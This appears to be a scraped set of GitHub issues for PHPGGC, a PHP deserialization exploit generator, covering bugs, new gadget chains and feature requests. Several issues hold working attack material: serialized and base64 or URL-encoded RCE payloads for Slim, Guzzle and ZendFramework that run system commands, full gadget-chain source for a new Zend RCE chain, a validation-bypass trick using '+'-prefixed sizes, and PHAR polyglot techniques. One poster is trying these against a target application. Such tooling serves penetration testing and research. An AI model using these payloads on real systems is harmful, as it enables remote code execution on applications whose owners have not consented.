Note, for example, the s:11:"*_writers", whereas that string is only 9 characters in length. It appears that the error is always off-by-two. I also noticed that when unserializing this on my own install, PHP does not care. However, when executing against a target (version unknown), the unserialization fails for the first payload, and succeeds on the second.

Happy to help in further troubleshooting!

Invalid object references in a serialized string when using --fast-destruct option

When I use --fast-destruct (-f) option, PHPGGC wraps it with an array. But it does it incorrect, using serialized string direct modifications.

Serialized payload for Guzzle/RCE1 has object references. And they are broken by the Enhancements::fast_destruct() method.

Watch this:

$obj = new \stdClass();
$obj->self = $obj;

// Reference will be: 1;
echo serialize($obj); // O:8:"stdClass":1:{s:4:"self";r:1;}

// Wrap it correct!
$wrapped = [$obj];

echo PHP_EOL;

// Reference will be: 2;
echo serialize($wrapped); // a:1:{i:0;O:8:"stdClass":1:{s:4:"self";r:2;}}

Due to this bug some (or all) payloads filtered by fast_destruct cannot be used to exploit the RCE.

Gadget for symfony/config ^3.4

Hey!

Cool project, I found it by accident while looking at deserializations in PHP. I'm trying to exploit a vulnerable application where the changelog is like this:

 $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
 if (is_numeric($what)) {
 if (ctype_digit($what)) {
     $zones = OA_cacheGetPublisherZones($what);
     $nz = false;
 } else {
     $zones = unserialize($what);
     parse_str($what, $zones);
     $nz = true;
 }

And the dependencies are:

"require": {
"symfony/config": "^3.4",
"symfony/dependency-injection": "^3.4",
"league/flysystem": "^1.0",
"league/flysystem-ziparchive": "^1.0",

     "sinergi/browser-detector": "^6.0",
     "jeremykendall/php-domain-parser": "~2.0",
     "figdice/asseteer": "dev-master",
     "tinymce/tinymce": "^4.6"
 },
 "require-dev": {
     "symfony/finder": "^3.4"
 },

I'm able to confirm the vulnerability by using stdClass and echo data back, however none of the gadgets appears to support my target. The closest RCE version is Symfony/RCE1, I tried like:

php phpggc Symfony/RCE1 /bin/ls
php phpggc Symfony/RCE1 /bin/ls -f
php phpggc Symfony/RCE1 /bin/ls -f -s
php phpggc Symfony/RCE1 /bin/ls -s

And nothing is returned. The gadget for Symfony/FW2 appears to support the same version, however it's file write and I don't know the DocumentRoot path and neither if it will work - I guess it's blind.

Am i missing anything? Any suggestion?

ps: I checked your nice blogpost (https://www.ambionics.io/blog/php-generic-gadget-chains), good work.

Thanks.

Implementation and improvements of PharGGC, --output and --ascii-strings

PharGGC

Notes

As requested (#22), PHPGGC can now generate PHAR archives as a TAR, ZIP, or PHAR file (-p <tar|zip|phar>). It also supports the JPG polyglot technique described here. The implementation of Sam Thomas was a bit limited because of $phar->setMetadata(), which prevented the use of enhancements (fast-destruct and ascii-strings). With a bit of hacky parsing I was able to bypass that.

Implementation (for nerds)

Why $phar->setMetadata() is not an option

After the gadget chain is crafted, several "tricks" can be added, such as fast-destruct and ascii-strings. These tricks cannot be done by manipulating objects, they need to be done by manipulating the serialized string. Therefore, since setMetadata expects an object and serializes it afterwards, I cannot use it directly, or some features would not be compatible.

Bypass

Since you cannot send your serialized payload directly when creating the PHAR (you can only send an object), I chose to build a PHAR with $this->setMedata('AAAAAAAA...'), and I replace s:12:"AAAA..."; in the serialized payload.
Nevertheless, every PHAR file contains a signature. Since we're modifying the metadata, the signature has to be recomputed.
Interestingly enough, for TAR and ZIP formats, the payload will be unserialize()d before the signature is controlled. It won't be if you're using the PHAR format.
I managed to port to PHP the signature computation for PHAR and TAR formats. Right now, the ZIP format does not recompute the signature (I'll implement that later), so exploiting using -p zip will yield an error, but the payload will still be executed.

Output

Output can be send to a file using --output /tmp/file (-o in short).

Avoiding invalid characters: --ascii-strings (-a)

For some reason you might want your payload not to contain special characters (such as \n, \t, \x00, etc.). It can be done by using the S serialization format instead of the standard s.

Example:

$ ./phpggc slim/rce1 system id
O:18:"Slim\Http\Response":2:{s:10:"*headers";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:{s:21:"Pimple\Containerraw";a:1:{s:3:"all";a:2:{i:0;O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:{s:21:"Pimple\Containerraw";a:1:{s:3:"has";s:6:"system";}s:24:"Pimple\Containervalues";a:1:{s:3:"has";s:6:"system";}s:22:"Pimple\Containerkeys";a:1:{s:3:"has";s:6:"system";}}}}i:1;s:2:"id";}}s:24:"Pimple\Containervalues";a:1:{s:3:"all";a:2:{i:0;r:6;i:1;s:2:"id";}}s:22:"Pimple\Containerkeys";a:1:{s:3:"all";a:2:{i:0;r:6;i:1;s:2:"id";}}}}s:7:"*body";s:0:"";}
$ ./phpggc slim/rce1 system id --ascii-strings
O:18:"Slim\Http\Response":2:{S:10:"\00\2a\00headers";O:8:"Slim\App":1:{S:19:"\00Slim\5cApp\00container";O:14:"Slim\Container":3:{S:21:"\00Pimple\5cContainer\00raw";a:1:{S:3:"all";a:2:{i:0;O:8:"Slim\App":1:{S:19:"\00Slim\5cApp\00container";O:8:"Slim\App":1:{S:19:"\00Slim\5cApp\00container";O:14:"Slim\Container":3:{S:21:"\00Pimple\5cContainer\00raw";a:1:{S:3:"has";S:6:"system";}S:24:"\00Pimple\5cContainer\00values";a:1:{S:3:"has";S:6:"system";}S:22:"\00Pimple\5cContainer\00keys";a:1:{S:3:"has";S:6:"system";}}}}i:1;S:2:"id";}}S:24:"\00Pimple\5cContainer\00values";a:1:{S:3:"all";a:2:{i:0;r:6;i:1;S:2:"id";}}S:22:"\00Pimple\5cContainer\00keys";a:1:{S:3:"all";a:2:{i:0;r:6;i:1;S:2:"id";}}}}S:7:"\00\2a\00body";S:0:"";}

The first result yields some null bytes. The second only yields printable characters.

./phpggc -l / -i Version output is confusing

When listing the gadget chains or displaying their information, the Version is kind of confusing.

For example

./phpggc -l
Gadget Chains
-------------

NAME                                    VERSION                TYPE             VECTOR         I    
CodeIgniter4/RCE1                       4.0.0-beta.1 <= ?      rce              __destruct          
Doctrine/FW1                            ?                      file_write       __toString     *    
Drupal7/FD1                             7.0 < ?                file_delete      __destruct     *    
Drupal7/RCE1                            7.0.8 < ?              rce              __destruct     *    
Guzzle/FW1                              6.0.0 <= 6.3.2         file_write       __destruct          
Guzzle/INFO1                            6.0.0 <= 6.3.2         phpinfo()        __destruct     *    
Guzzle/RCE1                             6.0.0 <= 6.3.2         rce              __destruct     *

When I read Guzzle/FW1 6.0.0 <= 6.3.2, I understand that the FW1 has been fixed in the 6.3.2, which is NOT the case. It just means that the gadget has been tested and works for sure with versions 6.0.0 <= 6.3.2.

I don't think that keeping track of each new release and test the gadgets on them is being done or even a solution for long term (unless there would be a way to automate that).

I am not sure what's your stance on that, EDIT: This doesn't make sense, see next comment - but I would suggest that

  • The Versions listed to be Minimum_Vulnerable_Version <|<= Fixed_In_Version
  • Put the max tested version In the $informations string (-I)
  • Maybe add another column to clear things up (like a Tested Up To) ?

Example for Guzzle/FW1, something like:

<?php
namespace GadgetChain\Guzzle;
class FW1 extends \PHPGGC\GadgetChain\FileWrite
{
    public static $version = '6.0.0 <= ?';
    public static $vector = '__destruct';
    public static $author = 'cf';
    public static $informations = 'Tested up to 6.3.2, however newer versions may still be affected';
    
    public function generate(array $parameters)
    {
        $path = $parameters['remote_path'];
        $data = $parameters['data'];
        return new \GuzzleHttp\Cookie\FileCookieJar($path, $data);
    }
}

Wrapper to bypass checks as enhancement ?

There is a trick which can be used to bypass some attempts to validate the serialised data given: Put a + before all integer values of Object and/or Classes (there might be also possible for integer and string, haven't checked).

For instance:

O:19:"WC_Log_Handler_File":1:{s:10:"*handles";C:33:"Requests_Utility_FilteredIterator":80:{x:i:0;a:1:{i:0;s:7:"phpinfo";};m:a:1:{s:11:"*callback";s:14:"call_user_func";}}}

would become

O:+19:"WC_Log_Handler_File":1:{s:10:"*handles";C:+33:"Requests_Utility_FilteredIterator":80:{x:i:0;a:1:{i:0;s:7:"phpinfo";};m:a:1:{s:11:"*callback";s:14:"call_user_func";}}}

So far I am using a wrapper as this is a very specific situation to bypass the check in place:

public function process_serialized($serialized) {
    return preg_replace('/(C|O):(\d+):/', '$1:+$2:', $serialized);
}

However, it might be interesting to add it as an enhancement

New line in output breaks signature

There is a \n appended to the output of PHPGGC:

print($payload . "\n");

This is problematic, since it breaks the signature of PHAR archives.

See the following example:

$ phpggc -p phar Drupal7/RCE1 var_dump test > /tmp/foo.pdf

$ xxd /tmp/foo.pdf
....
000001e0: 9b22 0200 0000 4742 4d42 0a              ."....GBMB.

$ echo '<?php var_dump(file_exists("phar:///tmp/foo.pdf/test.txt"));'| php 
bool(false)

$ phpggc -p phar Drupal7/RCE1 var_dump test  | head -c -1 > /tmp/foo.pdf

$ xxd /tmp/foo.pdf
....
000001e0: 8f83 0200 0000 4742 4d42                 ......GBMB

$ echo '<?php var_dump(file_exists("phar:///tmp/foo.pdf/test.txt"));'| php 
bool(true)

I know there is the -o flag to directly write to files, but sometimes you want to pipe the output to base64 or whatever, and in those cases it breaks.

Therefore the \n should be completely removed, or at least when used in combination with the -p flag.

Any thoughts?

ThinkPHP\FW1 does not work

the attribute query of the class think\model\relation\HasMany is not set

image

and the attribute query is protected in ThinkPHP

I made the following changes to make it work properly

image

ThinkPHP\RCE1 does not work

There is an capitalized word in phpggc ThinkPHP\RCE1:Smi1e

image

But in the process of working, the word Smi1e will be converted to lowercase

image

As a result, the first lowercase word cannot be found in the array

I think the simplest and most effective way to improve is to lowercase all smi1e words

syntax error

PHP Parse error: syntax error, unexpected 'class' (T_CLASS), expecting identifier (T_STRING) or variable (T_VARIABLE) or '{' or '$' in phpggc/lib/PHPGGC.php on line 232

Slim RCE payload not working

I've installed Slim version 3.8.1 using composer require slim/slim "3.8.1".
Generated a payload using this command:

$ phpggc Slim/RCE1 'system("id");' -b
TzoxODoiU2xpbVxIdHRwXFJlc3BvbnNlIjoyOntzOjEwOiIAKgBoZWFkZXJzIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiYWxsIjthOjI6e2k6MDtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImhhcyI7czo2OiJhc3NlcnQiO31zOjIyOiIAUGltcGxlXENvbnRhaW5lcgBrZXlzIjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fX19fWk6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImFsbCI7YToyOntpOjA7cjo2O2k6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjI6IgBQaW1wbGVcQ29udGFpbmVyAGtleXMiO2E6MTp7czozOiJhbGwiO2E6Mjp7aTowO3I6NjtpOjE7czoxMzoic3lzdGVtKCJpZCIpOyI7fX19fXM6NzoiACoAYm9keSI7czowOiIiO30=

then I've used the following code to test the RCE:

<?php

use \Psr\Http\Message\ServerRequestInterface as Request;
use \Psr\Http\Message\ResponseInterface as Response;

require 'vendor/autoload.php';

ini_set('display_errors', 1);
error_reporting(E_ALL);

$app = new \Slim\App;

$app->get('/', function (Request $request, Response $response, array $args) {

    $data = 'TzoxODoiU2xpbVxIdHRwXFJlc3BvbnNlIjoyOntzOjEwOiIAKgBoZWFkZXJzIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiYWxsIjthOjI6e2k6MDtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImhhcyI7czo2OiJhc3NlcnQiO31zOjIyOiIAUGltcGxlXENvbnRhaW5lcgBrZXlzIjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fX19fWk6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImFsbCI7YToyOntpOjA7cjo2O2k6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjI6IgBQaW1wbGVcQ29udGFpbmVyAGtleXMiO2E6MTp7czozOiJhbGwiO2E6Mjp7aTowO3I6NjtpOjE7czoxMzoic3lzdGVtKCJpZCIpOyI7fX19fXM6NzoiACoAYm9keSI7czowOiIiO30=';

    $x = unserialize(base64_decode($data));
    var_dump($x);
});

$app->run();

The unserialization works but the payload does not get executed. Here's the output:

object(Slim\Http\Response)#67 (5) {
  ["status":protected]=>
  int(200)
  ["reasonPhrase":protected]=>
  string(0) ""
  ["protocolVersion":protected]=>
  string(3) "1.1"
  ["headers":protected]=>
  object(Slim\App)#68 (3) {
    ["container":"Slim\App":private]=>
    object(Slim\Container)#69 (7) {
      ["defaultSettings":"Slim\Container":private]=>
      array(7) {
        ["httpVersion"]=>
        string(3) "1.1"
        ["responseChunkSize"]=>
        int(4096)
        ["outputBuffering"]=>
        string(6) "append"
        ["determineRouteBeforeAppMiddleware"]=>
        bool(false)
        ["displayErrorDetails"]=>
        bool(false)
        ["addContentLengthHeader"]=>
        bool(true)
        ["routerCacheFile"]=>
        bool(false)
      }
      ["values":"Pimple\Container":private]=>
      array(1) {
        ["all"]=>
        array(2) {
          [0]=>
          object(Slim\App)#70 (3) {
            ["container":"Slim\App":private]=>
            object(Slim\App)#71 (3) {
              ["container":"Slim\App":private]=>
              object(Slim\Container)#72 (7) {
                ["defaultSettings":"Slim\Container":private]=>
                array(7) {
                  ["httpVersion"]=>
                  string(3) "1.1"
                  ["responseChunkSize"]=>
                  int(4096)
                  ["outputBuffering"]=>
                  string(6) "append"
                  ["determineRouteBeforeAppMiddleware"]=>
                  bool(false)
                  ["displayErrorDetails"]=>
                  bool(false)
                  ["addContentLengthHeader"]=>
                  bool(true)
                  ["routerCacheFile"]=>
                  bool(false)
                }
                ["values":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["factories":"Pimple\Container":private]=>
                NULL
                ["protected":"Pimple\Container":private]=>
                NULL
                ["frozen":"Pimple\Container":private]=>
                array(0) {
                }
                ["raw":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["keys":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
              }
              ["stack":protected]=>
              NULL
              ["middlewareLock":protected]=>
              bool(false)
            }
            ["stack":protected]=>
            NULL
            ["middlewareLock":protected]=>
            bool(false)
          }
          [1]=>
          string(13) "system("id");"
        }
      }
      ["factories":"Pimple\Container":private]=>
      NULL
      ["protected":"Pimple\Container":private]=>
      NULL
      ["frozen":"Pimple\Container":private]=>
      array(0) {
      }
      ["raw":"Pimple\Container":private]=>
      array(1) {
        ["all"]=>
        array(2) {
          [0]=>
          object(Slim\App)#70 (3) {
            ["container":"Slim\App":private]=>
            object(Slim\App)#71 (3) {
              ["container":"Slim\App":private]=>
              object(Slim\Container)#72 (7) {
                ["defaultSettings":"Slim\Container":private]=>
                array(7) {
                  ["httpVersion"]=>
                  string(3) "1.1"
                  ["responseChunkSize"]=>
                  int(4096)
                  ["outputBuffering"]=>
                  string(6) "append"
                  ["determineRouteBeforeAppMiddleware"]=>
                  bool(false)
                  ["displayErrorDetails"]=>
                  bool(false)
                  ["addContentLengthHeader"]=>
                  bool(true)
                  ["routerCacheFile"]=>
                  bool(false)
                }
                ["values":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["factories":"Pimple\Container":private]=>
                NULL
                ["protected":"Pimple\Container":private]=>
                NULL
                ["frozen":"Pimple\Container":private]=>
                array(0) {
                }
                ["raw":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["keys":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
              }
              ["stack":protected]=>
              NULL
              ["middlewareLock":protected]=>
              bool(false)
            }
            ["stack":protected]=>
            NULL
            ["middlewareLock":protected]=>
            bool(false)
          }
          [1]=>
          string(13) "system("id");"
        }
      }
      ["keys":"Pimple\Container":private]=>
      array(1) {
        ["all"]=>
        array(2) {
          [0]=>
          object(Slim\App)#70 (3) {
            ["container":"Slim\App":private]=>
            object(Slim\App)#71 (3) {
              ["container":"Slim\App":private]=>
              object(Slim\Container)#72 (7) {
                ["defaultSettings":"Slim\Container":private]=>
                array(7) {
                  ["httpVersion"]=>
                  string(3) "1.1"
                  ["responseChunkSize"]=>
                  int(4096)
                  ["outputBuffering"]=>
                  string(6) "append"
                  ["determineRouteBeforeAppMiddleware"]=>
                  bool(false)
                  ["displayErrorDetails"]=>
                  bool(false)
                  ["addContentLengthHeader"]=>
                  bool(true)
                  ["routerCacheFile"]=>
                  bool(false)
                }
                ["values":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["factories":"Pimple\Container":private]=>
                NULL
                ["protected":"Pimple\Container":private]=>
                NULL
                ["frozen":"Pimple\Container":private]=>
                array(0) {
                }
                ["raw":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["keys":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
              }
              ["stack":protected]=>
              NULL
              ["middlewareLock":protected]=>
              bool(false)
            }
            ["stack":protected]=>
            NULL
            ["middlewareLock":protected]=>
            bool(false)
          }
          [1]=>
          string(13) "system("id");"
        }
      }
    }
    ["stack":protected]=>
    NULL
    ["middlewareLock":protected]=>
    bool(false)
  }
  ["body":protected]=>
  string(0) ""
}

The system function is not disabled and I am able to execute it if I call it directly.
Am I doing something wrong or the payload is not working?

New pop chains for ZendFramework 2.0.1

Recently I have been learning the zendframework/rce3 chain and fonud a new chain, hoping to help implement the phpggc.

the calling stack is:
zend\cache\storage\adapter\memory::__destruct
zend\view\renderer\phprenderer::__call
zend\ServiceManager\AbstractPluginManager::get
zend\ServiceManager\ServiceManager::get
zend\ServiceManager\ServiceManager::create
zend\Filter\AbstractFilter::__invoke
zend\Filter\FilterChain::filter

chain.php:

<?php

namespace GadgetChain\ZendFramework;

class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '2.0.1 <= ?';
    public static $vector = '__destruct';
    public static $author = 'CyanM0un';

    public function generate(array $parameters)
    {
        $function = $parameters["function"];
        $parameter = $parameters["parameter"];

        return new \Zend\Cache\Storage\Adapter\Memory($function, $parameter);
    }
}

gadgets.php

<?php
namespace Zend\Cache\Storage\Adapter{
    class Memory{
        protected $eventHandles;
        protected $events;

        function __construct($function, $param)
        {
            $this->eventHandles = [1];
            $this->events = new \Zend\View\Renderer\PhpRenderer($function, $param);
        }
    }
}

namespace Zend\View\Renderer{
    class PhpRenderer{
        private $__helpers;

        function __construct($function, $param)
        {
            $this->__helpers = new \Zend\Tag\Cloud\DecoratorPluginManager($function, $param);
        }
    }
}

namespace Zend\Tag\Cloud{
    class DecoratorPluginManager{
        protected $canonicalNames;
        protected $invokableClasses;
        protected $retrieveFromPeeringManagerFirst;
        protected $initializers;

        function __construct($function, $param)
        {
            $this->canonicalNames = array("detach"=>"cname","cname"=>"any");
            $this->invokableClasses = array("cname"=>"Zend\Tag\Cloud\DecoratorPluginManager");//satisfying the class_exists
            $this->retrieveFromPeeringManagerFirst = false;
            $this->initializers = [new \Zend\Filter\FilterChain($function, $param)];
        }
    }
}

namespace Zend\Filter {
    class FilterChain {
        protected $filters;

        function __construct($function, $param) {
            $this->filters = new \SplFixedArray(2);
            $this->filters[0] = array(
                new \Zend\Json\Expr($param),
                "__toString"
            );
            $this->filters[1] = $function;
        }
    }
}

namespace Zend\Json {
    class Expr {
        protected $expression;

        function __construct($param) {
            $this->expression = $param;
        }
    }
}

can test using the payload:

O%3A33%3A%22Zend%5CCache%5CStorage%5CAdapter%5CMemory%22%3A2%3A%7Bs%3A15%3A%22%00%2A%00eventHandles%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7Ds%3A9%3A%22%00%2A%00events%22%3BO%3A30%3A%22Zend%5CView%5CRenderer%5CPhpRenderer%22%3A1%3A%7Bs%3A41%3A%22%00Zend%5CView%5CRenderer%5CPhpRenderer%00__helpers%22%3BO%3A37%3A%22Zend%5CTag%5CCloud%5CDecoratorPluginManager%22%3A4%3A%7Bs%3A17%3A%22%00%2A%00canonicalNames%22%3Ba%3A2%3A%7Bs%3A6%3A%22detach%22%3Bs%3A5%3A%22cname%22%3Bs%3A5%3A%22cname%22%3Bs%3A3%3A%22any%22%3B%7Ds%3A19%3A%22%00%2A%00invokableClasses%22%3Ba%3A1%3A%7Bs%3A5%3A%22cname%22%3Bs%3A37%3A%22Zend%5CTag%5CCloud%5CDecoratorPluginManager%22%3B%7Ds%3A34%3A%22%00%2A%00retrieveFromPeeringManagerFirst%22%3Bb%3A0%3Bs%3A15%3A%22%00%2A%00initializers%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A23%3A%22Zend%5CFilter%5CFilterChain%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3BO%3A13%3A%22SplFixedArray%22%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A14%3A%22Zend%5CJson%5CExpr%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00expression%22%3Bs%3A6%3A%22whoami%22%3B%7Di%3A1%3Bs%3A10%3A%22__toString%22%3B%7Di%3A1%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D%7D%7D

Improvements on PHPGGC

RCE assert() solution

Since PHP 7.1, it is impossible to call assert (and other functions) dynamically. Therefore, every RCE payload that was based on this function call would fail, and people would have to edit PHPGGC's code manually in order to bypass this problem.
After talking to a few people, the best solution for the moment seems to be that instead of calling assert(<code>), RCE payload would now require two parameters by default: <php_function> and <parameter>.

Now, instead of calling:
./phpggc guzzle/rce1 'system("id");'
You go:
./phpggc guzzle/rce1 system id

If you reckon assert can still be call dynamically (target PHP < 7.1), you can still do:
./phpggc guzzle/rce1 assert 'phpinfo()'

I think that's the best way to go for now.

Fast destruct: -f or --fast-destuct

Why

Applies the fast-destruct technique, so that the object is destructed right after the unserialize() call, as opposed to at the end of the script. This is very useful because sometimes the script throws an exception after unserializing the object, and therefore ̀__destruct()` will never be called.

How

The object is put in a 2-item array. Both items have the same key. Since the object has been put first, it is removed when the second item is processed (same key). It will therefore be destroyed, and as a result __destruct() will be called right after the unserialize() call, instead of at the end of the script.

Encoders chaining

It is now possible to encode your payload multiple times. For instance,
./phpggc guzzle/rce1 system id -u -b -u
will URLencode, base64encode, and URLencode the payload, in this order. This means that now, the order in which the parameters are given is important.

[email protected] deprecate functions.

Hello, PHPGGC drops some deprecation warnings at the latest [email protected] version as can be seen PHP 8.2: Deprecated Features - Manual .

PHPGGC Log:

Deprecated: Creation of dynamic property PHPGGC::$parameters is deprecated in /home/user/phpggc-master/lib/PHPGGC.php on line 831
Deprecated: Creation of dynamic property PHPGGC\Enhancement\Enhancements::$enhancements is deprecated in /home/user/phpggc-master/lib/PHPGGC/Enhancement/Enhancements.php on line 9
Deprecated: Creation of dynamic property PHPGGC::$enhancements is deprecated in /home/user/phpggc-master/lib/PHPGGC.php on line 183
Deprecated: Creation of dynamic property PHPGGC\Phar\Phar::$metadata is deprecated in /home/user/phpggc-master/lib/PHPGGC/Phar/Format.php on line 27
Deprecated: Creation of dynamic property PHPGGC\Phar\Phar::$dummy_metadata is deprecated in /home/user/phpggc-master/lib/PHPGGC/Phar/Format.php on line 77```

Refactor to Symfony Console

I'm opening an issue to evaluate the idea of this project being migrated to be built on top of Symfony Console.

https://symfony.com/doc/current/components/console.html

Symfony Console is the de facto framework for PHP CLI apps used by the likes of:

A couple advantages that immediately come to mind:

  • Many PHP developers have seen and worked with Symfony Console apps before. This potentially lowers the barrier to entry for new users
  • Assuming we move forward with test coverage (see #46) Symfony Console includes a framework for running tests on commands (https://symfony.com/doc/current/console.html#testing-commands)

Thoughts?

Mention that Guzzle/RCE1 also requires proper version of Guzzle\Psr7

Guzzle/RCE1 to be exploited also requires GuzzleHttp\Psr7 < 1.5.0 due to a commit that was released in version 1.5.0

/**
 * An unserialize would allow the __destruct to run when the unserialized value goes out of scope.
 * @throws \LogicException
 */
public function __wakeup()
{
    throw new \LogicException('FnStream should never be unserialized');
}

From composer.json file of the guzzle library:

    "require": {
        "php": ">=5.5",
        "guzzlehttp/psr7": "^1.4",
        "guzzlehttp/promises": "^1.0"
    },

Versions 1.5.x satisfy constraint ^1.4. See here

Maybe fix docs somehow?

Integrate PHARGGC to PHPGGC

Exploitation on implicit PHP unserialization via phar:// wrapper is commonly needed during pentest. The forked version of PHPGGC with phar exploitation support is available at https://github.com/s-n-t/phpggc. But, since there are many changes in PHPGGC and maybe there will be more changes to PHPGGC in the future, I think it's better to integrate the PHARGGC to main repo of PHPGGC.

PHAR(GGC) not working

Do the phar exploids still work?

I am using php 8.0.7. It looks like the destructors are not called.

I tested it with this code:

<?php

class Test {
    public $message = 'hi';

    public function __destruct()
    {
        echo $this->message;
    }
}


$test = new Test();

$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($test);
$phar->stopBuffering();

$test->message = '';


file_get_contents('phar://test.phar/test.txt');

I expected the output to be 'hi' and got ''.

YII framework

YII framework RCE - working only with allow_url_include?

PHPInfo Gadget Chain

Could it be possible to implement a PHPInfo GadgetChain type ? It doesn't seem possible to execute it via Guzzle/RCE1 (unless I missed something), but managed to get it working via old crafting methods with

O:24:"GuzzleHttp\Psr7\FnStream":1:{s:9:"_fn_close"%3Bs:7:"phpinfo"%3B}

and would like to send a PR to have it there (affected versions of Guzzle are the same than for the RCE/FW).

Edit: Im trying against GuzzleHTTP v6.2.2 with PSR7 v1.3.1 to be exact.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.